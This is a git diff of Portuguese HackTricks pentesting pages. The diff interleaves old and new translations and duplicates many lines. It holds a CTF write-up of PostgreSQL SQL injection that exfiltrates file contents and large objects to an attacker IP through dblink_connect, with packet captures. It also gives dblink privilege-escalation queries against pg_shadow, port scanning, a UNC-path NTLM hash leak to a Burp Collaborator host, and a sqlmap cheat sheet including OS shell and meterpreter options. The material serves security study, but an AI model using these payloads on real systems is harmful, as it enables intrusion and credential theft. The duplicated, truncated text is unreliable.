Parece que só tem uma tabela vazia no esquema atual e a flag não está no banco de dados. Podemos realmente precisar exfiltrar dados de `/var/lib/postgresql/data/secret`. Infelizmente, se tentarmos usar `pg_read_file` ou `pg_read_binary_file` para ler o arquivo, não obteremos uma conexão de entrada, de modo que o usuário atual pode não ter permissão para usar essas funções.
#### Mais informações sobre SQLInjection assíncrono com postdresql
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
## **Extraindo conteúdo de objetos grandes**
## **Exfiltrando conteúdos de large object**
É possível ler arquivos usando objetos grandes ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Podemos usar `lo_import` para carregar o conteúdo do arquivo no catálogo `pg_largeobject`. Se a consulta for bem-sucedida, receberemos o `oid` do objeto.
É possível ler arquivos usando large objects ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Podemos usar `lo_import` para carregar o conteúdo do arquivo no catálogo `pg_largeobject`. Se a consulta for bem-sucedida, obteremos o `oid` do objeto.
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
```
```
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
0x0050: 706f 7374 6772 6573 0000 postgres..
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
0x0050: 706f 7374 6772 6573 0000 postgres..
```
Obtivemos 24668 como `oid`, o que significa que podemos usar a função `lo_import`. Infelizmente, não obteremos nenhum resultado se tentarmos obter o conteúdo do objeto grande usando `lo_get(24668)` ou acessar diretamente o catálogo `pg_largeobject`. **Parece que o usuário atual não tem permissão para ler o conteúdo de novos objetos.**
Conseguimos 24668 como `oid`, o que significa que podemos usar a função `lo_import`. Infelizmente, não obteremos resultados se tentarmos obter o conteúdo do objeto grande usando `lo_get(24668)` ou acessar diretamente o catálogo `pg_largeobject`. **Parece que o usuário atual não tem permissão para ler o conteúdo de novos objetos.**
Após ler a documentação de objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). Isso significa que, se houver um objeto antigo com uma ACL que permita que o usuário atual o leia, podemos exfiltrar o conteúdo desse objeto.
Após ler a documentação sobre objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). Isso significa que, se houver um objeto antigo com uma ACL que permita ao usuário atual lê-lo, então podemos exfiltrar o conteúdo desse objeto.
Podemos obter uma lista de `oid` de objetos grandes disponíveis extraindo de `pg_largeobject_metadata`.
```
@ -132,27 +130,29 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
```
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
.....
.....
.....
```
Temos um monte de `oid`s. Podemos tentar usar `lo_get` para carregar o conteúdo do objeto. Por exemplo, `lo_get(16439)` irá carregar o conteúdo de `/etc/passwd`. Como o resultado de `lo_gets` é `bytea`, precisamos convertê-lo para `UTF8` para que possa ser anexado na consulta.
```markdown
Conseguimos uma série de `oid`s. Podemos tentar usar `lo_get` para carregar o conteúdo do objeto. Por exemplo, `lo_get(16439)` carregará o conteúdo de `/etc/passwd`. Como o resultado de `lo_gets` é `bytea`, precisamos convertê-lo para `UTF8` para que possa ser anexado na consulta.
Podemos tentar carregar alguns objetos com o menor `oid` para descobrir se o arquivo de flag foi carregado antes. O objeto do arquivo de flag existe com `oid` 16444. Não há espaços em branco na flag, então podemos exibi-la como está.
Podemos tentar carregar alguns objetos com o menor `oid` para descobrir se o arquivo de flag foi carregado anteriormente. O objeto do arquivo de flag realmente existe com `oid` 16444. Não há espaços em branco na flag, então podemos exibi-la como está.
Para carregar a flag:
```
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
```
#### Mais informações sobre oid:
@ -162,16 +162,14 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_fr
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,55 +1,72 @@
Desde o PostgreSQL 9.1, a instalação de módulos adicionais é simples. As extensões registradas, como `dblink`, podem ser instaladas com o comando [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html).
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Desde o **PostgreSQL 9.1**, a instalação de módulos adicionais é simples. [Extensões registradas como `dblink`](https://www.postgresql.org/docs/current/contrib.html) podem ser instaladas com [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Depois de carregar o dblink, você pode ser capaz de realizar alguns truques interessantes:
Uma vez que você tenha o dblink carregado, você poderá realizar alguns truques interessantes:
## Escalada de privilégios
## Escalonamento de Privilégios
O arquivo `pg_hba.conf` pode estar mal configurado, **permitindo conexões** de **localhost como qualquer usuário** sem precisar saber a senha. Esse arquivo pode ser encontrado tipicamente em `/etc/postgresql/12/main/pg_hba.conf` e uma má configuração se parece com:
O arquivo `pg_hba.conf` pode estar mal configurado **permitindo conexões** do **localhost como qualquer usuário** sem a necessidade de conhecer a senha. Este arquivo pode ser tipicamente encontrado em `/etc/postgresql/12/main/pg_hba.conf` e uma má configuração se parece com:
```
local all all trust
```
_Nota-se que essa configuração é comumente usada para modificar a senha de um usuário de banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
_Nota-se também que o arquivo pg\_hba.conf só pode ser lido pelo usuário e grupo postgres e só pode ser escrito pelo usuário postgres._
_Note que essa configuração é comumente usada para modificar a senha de um usuário do banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
_Note também que o arquivo pg\_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres._
Esse caso é **útil se** você **já** tem um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.
Este caso é **útil se** você **já** tem um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.
Outra possível má configuração consiste em algo como:
Outra possível má configuração consiste em algo como isto:
```
host all all 127.0.0.1/32 trust
```
Como permitirá que qualquer pessoa do localhost se conecte ao banco de dados como qualquer usuário.\
Neste caso e se a função **`dblink`** estiver **funcionando**, você poderá **escalar privilégios** conectando-se ao banco de dados por meio de uma conexão já estabelecida e acessar dados aos quais não deveria ter acesso:
Como isso permitirá que todos do localhost se conectem ao banco de dados como qualquer usuário.\
Neste caso, e se a função **`dblink`** estiver **funcionando**, você poderia **escalar privilégios** conectando-se ao banco de dados através de uma conexão já estabelecida e acessar dados que não deveria poder acessar:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
**Encontre** [**mais informações sobre este ataque neste artigo**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.**
## Varredura de Portas
Aproveitando o `dblink_connect`, você também pode **procurar por portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()`** pois a documentação diz que _`dblink_connect_u()` é idêntico ao `dblink_connect()`, exceto que permitirá que usuários não-superusuários se conectem usando qualquer método de autenticação_.
Abusando do `dblink_connect`, você também pode **procurar portas abertas**. Se essa **função não funcionar, você deve tentar usar `dblink_connect_u()`**, já que a documentação indica que _`dblink_connect_u()` é idêntica a `dblink_connect()`, exceto que permite que não-superusuários se conectem usando qualquer método de autenticação_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
@ -63,29 +80,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Observe que **antes** de poder usar `dblink_connect` ou `dblink_connect_u`, você pode precisar executar:
Observe que **antes** de poder usar `dblink_connect` ou `dblink_connect_u` você pode precisar executar:
```
CREATE extension dblink;
```
## Caminho UNC - Divulgação de hash NTLM
### Descrição
O protocolo NTLM (NT LAN Manager) é um protocolo de autenticação usado em redes Windows. Ele usa um hash NTLM para autenticar usuários e é vulnerável a ataques de divulgação de hash.
Um atacante pode usar um caminho UNC (Universal Naming Convention) para obter o hash NTLM de um usuário que se conecta a um recurso compartilhado na rede. O caminho UNC é uma convenção de nomenclatura que permite acessar recursos em uma rede usando seu nome de compartilhamento.
### Exploração
Para explorar essa vulnerabilidade, o atacante precisa ter acesso a um recurso compartilhado na rede que o usuário esteja acessando. O atacante pode então usar um sniffer de rede para capturar o tráfego entre o usuário e o recurso compartilhado.
O tráfego capturado incluirá o hash NTLM do usuário, que pode ser facilmente extraído usando ferramentas como o Responder. O atacante pode então usar o hash NTLM para realizar ataques de força bruta e obter as credenciais do usuário.
### Mitigação
Para mitigar essa vulnerabilidade, é recomendável usar autenticação baseada em token em vez de autenticação baseada em hash. Além disso, é importante limitar o acesso a recursos compartilhados na rede apenas a usuários autorizados.
Também é recomendável usar criptografia forte para proteger o tráfego de rede e monitorar o tráfego de rede em busca de atividades suspeitas.
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -95,10 +94,10 @@ COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
```sql
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
@ -108,16 +107,14 @@ SELECT testfunc();
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,32 +1,30 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Argumentos básicos para o SQLmap
# Argumentos básicos para SQLmap
## Genérico
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
@ -44,7 +42,7 @@
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### Dados do banco de dados
### Dados do DB
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -53,7 +51,7 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Local de Injeção
# Local da Injeção
## A partir da captura do Burp/ZAP
@ -61,74 +59,16 @@ Capture a requisição e crie um arquivo req.txt
```bash
sqlmap -r req.txt --current-user
```
## Injeção em Requisições GET
### Introdução
A injeção em requisições GET é uma técnica de ataque que explora vulnerabilidades em parâmetros de URL para executar comandos maliciosos no servidor. Essa técnica é semelhante à injeção SQL, mas em vez de explorar vulnerabilidades em consultas SQL, ela explora vulnerabilidades em parâmetros de URL.
### Identificando Vulnerabilidades
Para identificar vulnerabilidades em parâmetros de URL, você pode usar o Sqlmap. O Sqlmap é uma ferramenta de teste de penetração que automatiza a detecção e exploração de vulnerabilidades de injeção SQL. Ele também pode ser usado para identificar vulnerabilidades em parâmetros de URL.
### Executando um Ataque
Para executar um ataque de injeção em requisições GET, você precisa identificar um parâmetro de URL vulnerável. Você pode fazer isso usando o Sqlmap ou manualmente, examinando a URL em busca de parâmetros que possam ser explorados.
Depois de identificar um parâmetro vulnerável, você pode usar o Sqlmap para explorá-lo. O Sqlmap tentará injetar comandos maliciosos no parâmetro e, se bem-sucedido, executará esses comandos no servidor.
### Prevenção
Para prevenir ataques de injeção em requisições GET, é importante validar e sanitizar todos os dados de entrada. Isso inclui dados de entrada em parâmetros de URL. Além disso, é importante limitar o acesso aos parâmetros de URL para evitar que usuários mal-intencionados explorem vulnerabilidades.
## Injeção em Requisição GET
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Injeção de Requisição POST
## Injeção em Requisição POST
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Injeções em Headers e outros Métodos HTTP
### Header Injection
### Injeção em Headers
Header injection vulnerabilities occur when user input is not properly sanitized and is included in an HTTP header. This can allow an attacker to inject additional headers or modify existing ones, potentially leading to a range of attacks such as cross-site scripting (XSS), session hijacking, and cache poisoning.
Vulnerabilidades de injeção em headers ocorrem quando a entrada do usuário não é devidamente sanitizada e é incluída em um header HTTP. Isso pode permitir que um atacante injete headers adicionais ou modifique os existentes, potencialmente levando a uma série de ataques, como cross-site scripting (XSS), sequestro de sessão e envenenamento de cache.
To test for header injection vulnerabilities, you can use the `--header` option in sqlmap to specify a custom header with a payload. For example:
Para testar vulnerabilidades de injeção em headers, você pode usar a opção `--header` no sqlmap para especificar um header personalizado com uma carga útil. Por exemplo:
```
sqlmap -r request.txt --header="X-Forwarded-For: 127.0.0.1' or '1'='1"
```
This will send a request with the `X-Forwarded-For` header set to `127.0.0.1' or '1'='1`, which will be interpreted by the server as `127.0.0.1`, followed by a new header `or '1'='1'`.
Isso enviará uma solicitação com o header `X-Forwarded-For` definido como `127.0.0.1' or '1'='1`, que será interpretado pelo servidor como `127.0.0.1`, seguido de um novo header `or '1'='1'`.
### Other HTTP Methods
### Outros Métodos HTTP
In addition to GET and POST requests, there are several other HTTP methods that can be used to interact with a web application, including PUT, DELETE, and OPTIONS. These methods are often used in RESTful APIs and can be vulnerable to injection attacks.
Além das solicitações GET e POST, existem vários outros métodos HTTP que podem ser usados para interagir com um aplicativo da web, incluindo PUT, DELETE e OPTIONS. Esses métodos são frequentemente usados em APIs RESTful e podem ser vulneráveis a ataques de injeção.
To test for injection vulnerabilities in these methods, you can use the `--method` option in sqlmap to specify the HTTP method to use. For example:
Para testar vulnerabilidades de injeção nesses métodos, você pode usar a opção `--method` no sqlmap para especificar o método HTTP a ser usado. Por exemplo:
```
sqlmap -r request.txt --method=PUT --data="id=1&name=admin'"
```
This will send a PUT request with the data `id=1&name=admin'` in the body, which will be interpreted by the server as `id=1&name=admin`, followed by a single quote.
Isso enviará uma solicitação PUT com os dados `id=1&name=admin'` no corpo, que será interpretado pelo servidor como `id=1&name=admin`, seguido de uma única aspa.
## Injeções em Cabeçalhos e outros Métodos HTTP
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -147,8 +87,6 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
## Shell
```bash
#Exec command
@ -160,21 +98,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Rastreando um site com SQLmap e auto-exploit
O SQLmap é uma ferramenta poderosa para testes de penetração em sites que possuem vulnerabilidades de injeção de SQL. Uma das funcionalidades mais úteis do SQLmap é a capacidade de rastrear automaticamente um site em busca de vulnerabilidades de injeção de SQL e, em seguida, explorá-las automaticamente.
Para rastrear um site com SQLmap, basta executar o seguinte comando:
```
sqlmap -u <URL> --crawl=1
```
Isso fará com que o SQLmap rastreie o site especificado na URL e procure por vulnerabilidades de injeção de SQL. O parâmetro `--crawl=1` indica que o SQLmap deve seguir todos os links encontrados no site e rastreá-los também.
Se o SQLmap encontrar uma vulnerabilidade de injeção de SQL, ele tentará explorá-la automaticamente. Isso pode incluir a extração de dados do banco de dados, a execução de comandos no sistema operacional do servidor e muito mais.
É importante lembrar que o uso do SQLmap em um site sem autorização prévia é ilegal e pode resultar em consequências graves. Sempre obtenha permissão antes de realizar testes de penetração em um site.
## Rastrear um site com SQLmap e auto-exploração
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -184,7 +108,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
```
# Personalizando a Injeção
## Definindo um sufixo
## Definir um sufixo
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
@ -197,56 +121,72 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Manipulação
## Tamper
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Descrição |
| :--- | :--- |
| apostrophemask.py | Substitui o caractere de apóstrofo pelo seu equivalente UTF-8 de largura total |
| apostrophenullencode.py | Substitui o caractere de apóstrofo pelo seu equivalente duplo unicode ilegal |
| appendnullbyte.py | Adiciona um byte nulo codificado ao final da carga útil |
| base64encode.py | Codifica em base64 todos os caracteres em uma determinada carga útil |
| apostrophemask.py | Substitui o caractere apóstrofo pela sua contraparte em largura total UTF-8 |
| apostrophenullencode.py | Substitui o caractere apóstrofo por sua contraparte ilegal em unicode duplo |
| appendnullbyte.py | Acrescenta caractere byte NULL codificado no final do payload |
| base64encode.py | Codifica em Base64 todos os caracteres de um dado payload |
| between.py | Substitui o operador maior que \('&gt;'\) por 'NOT BETWEEN 0 AND \#' |
